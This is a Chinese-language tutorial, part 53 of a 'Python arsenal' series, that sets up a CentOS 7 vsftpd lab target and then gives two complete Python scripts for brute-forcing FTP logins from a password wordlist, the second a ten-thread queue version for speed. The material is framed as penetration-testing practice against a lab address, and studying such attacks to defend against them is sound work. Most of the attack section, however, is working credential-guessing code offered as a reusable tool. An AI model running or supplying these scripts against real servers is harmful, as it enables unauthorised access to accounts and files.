Python武器库开发-武器库篇之FTP服务暴力破解(五十三)

FTP (File Transfer Protocol) 是一种用于在网络上传输文件的协议。它允许用户通过一个客户端应用程序连接到远程服务器，并通过该服务器传输文件。FTP 服务是在互联网上广泛使用的一种服务，它使用户能够在不同计算机之间快速、安全地共享文件。FTP 服务有两个主要角色：客户端和服务器。客户端是用户使用的应用程序，用于连接到远程服务器并进行文件传输。用户可以使用客户端应用程序进行上传和下载文件，管理文件和目录，以及执行其他与文件操作相关的任务。
服务器是提供 FTP 服务的计算机。它运行 FTP 服务器软件，接受来自客户端的连接，并处理文件传输请求。服务器管理文件和目录的权限，控制用户访问的权限，并提供其他与文件传输相关的功能。FTP 使用两个主要端口进行通信：控制端口和数据端口。控制端口（默认为端口 21）用于建立连接、发送命令和接收服务器的响应。数据端口（默认为端口 20）用于实际的文件传输。

FTP 支持多种认证方式，包括匿名访问和基于用户名和密码的访问。匿名访问允许用户以匿名方式连接到 FTP 服务器，并以只读方式访问公共文件。基于用户名和密码的访问则要求用户提供有效的用户名和密码进行身份验证，并根据其权限进行文件传输和管理。尽管 FTP 是一种常用的文件传输协议，但它的安全性较低。传统的 FTP 传输是明文传输，可能导致敏感数据泄露。为了增加安全性，可以使用安全的 FTP 变体（如 FTPS 或 SFTP），它们通过加密数据流来保护文件传输。总之，FTP 服务是一种方便、快速的文件传输协议，可用于在网络上共享文件。它在各种场景中得到广泛应用，包括网站维护、文件共享和远程备份等。

环境准备

首先，我们需要准备一台Centos7机器作为靶机，CentOS 7 配置 FTP 服务，可以使用 vsftpd (Very Secure FTP Daemon)。以下是配置步骤：

安装 vsftpd：sudo yum install -y vsftpd
启动并使 vsftpd 服务开机自启：

sudo systemctl start vsftpd
sudo systemctl enable vsftpd

添加用户并设置权限（如果需要）：

sudo adduser ftpuser
sudo passwd ftpuser

重启 vsftpd 服务以应用更改：sudo systemctl restart vsftpd
配置防火墙允许 FTP 流量：

sudo firewall-cmd --zone=public --add-service=ftp --permanent
sudo firewall-cmd --reload

在这里插入图片描述

我们在做渗透测试的过程中，常常会对目标服务器的FTP服务进行暴力破解，本文将教会大家如何使用python暴力破解FTP服务，代码如下：

#!/usr/bin/env python

import ftplib

host = "192.168.41.147"
#ftp用户
user = "ftpuser"
port = 21
passwords = open("PasswordFile.txt").read().split('\n')

def connect_ftp(password):
    #初始化一个ftp客户端
    ftp_client = ftplib.FTP()
    print(f"[!] 正在尝试密码", password)
    try:
        ftp_client.connect(host=host, port=port, timeout=10)
        ftp_client.login(user=user, passwd=password)
        ftp_client.quit()
        return True
    except ftplib.error_perm:
        return False

for password in passwords:
    if connect_ftp(password):
        print(f"[*] 密码尝试成功 :", password)
        break

这段代码是一个尝试破解FTP密码的程序。

首先，它导入了ftplib模块，这是Python内置的用于实现FTP客户端的模块。

然后，它定义了一些变量，包括FTP服务器的主机地址、FTP用户、端口号和密码文件的路径。

接下来，它定义了一个函数connect_ftp(password)，用于尝试连接FTP服务器并尝试给定的密码。在函数中，它首先创建一个FTP对象，并尝试连接到FTP服务器。然后，它使用给定的用户和密码进行登录，并在登录成功后主动退出FTP连接。如果登录过程中抛出了ftplib.error_perm异常，则表示密码错误，函数返回False；否则，表示密码正确，函数返回True。

最后，它使用一个循环遍历密码文件中的每个密码，并调用connect_ftp(password)函数进行尝试。如果成功登录，则打印出密码并跳出循环。

总体来说，这段代码的目的是通过遍历密码文件中的密码来尝试破解FTP密码。

以下是实际实验效果图：

在这里插入图片描述

可是在实际过程中，我们会发现这样暴力破解的效率非常之慢，所以接下来我们优化一下这段代码：

#!/usr/bin/env python

import ftplib
from threading import Thread
import queue

#ftp服务器
host = "192.168.41.147"
#ftp用户
user = "ftpuser"
#ftp端口
port = 21
#密码字典
passwords = []
with open("PasswordFile.txt") as f:
    passwords = f.read().split('\n')

#队列
q = queue.Queue()
#线程数
n_threads = 10

def connect_ftp():
    while True:
        password = q.get()
        print(password)
        ftp_client = ftplib.FTP()
        print(f"[!] 正在尝试密码", password)
        try:
            ftp_client.connect(host=host,port=port,timeout=10)
            ftp_client.login(user=user,passwd=password)
        except ftplib.error_perm:
            pass
        else:
            print(f"[*] 密码尝试成功:", password)
            ftp_client.quit()
            q.queue.clear()
            break
        finally:
            q.task_done()


for password in passwords:
    q.put(password)


for t in range(n_threads):
    thread = Thread(target=connect_ftp)
    thread.daemon = True
    thread.start()

q.join()